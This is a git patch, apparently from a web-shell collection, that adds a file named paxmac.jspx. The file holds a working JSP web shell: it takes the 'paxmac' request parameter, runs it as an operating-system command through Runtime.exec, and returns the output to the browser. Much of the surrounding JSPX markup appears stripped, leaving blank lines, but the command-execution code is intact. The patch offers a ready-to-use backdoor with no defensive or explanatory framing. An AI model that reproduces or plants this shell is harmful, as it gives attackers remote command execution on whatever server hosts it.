From 70d86a1fec77a99c4f3e214b62e04571541940fa Mon Sep 17 00:00:00 2001 From: tennc Date: Fri, 30 Aug 2013 12:25:59 +0800 Subject: [PATCH] uodate jspx --- jsp/paxmac.jspx | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 jsp/paxmac.jspx diff --git a/jsp/paxmac.jspx b/jsp/paxmac.jspx new file mode 100644 index 0000000..d056850 --- /dev/null +++ b/jsp/paxmac.jspx @@ -0,0 +1,35 @@ + + + + + + + jspx + + + + try { + String cmd = request.getParameter("paxmac"); + if (cmd !=null){ + Process child = Runtime.getRuntime().exec(cmd); + InputStream in = child.getInputStream(); + int c; + while ((c = in.read()) != -1) { + out.print((char)c); + } + in.close(); + try { + child.waitFor(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } catch (IOException e) { + System.err.println(e); + } + + + +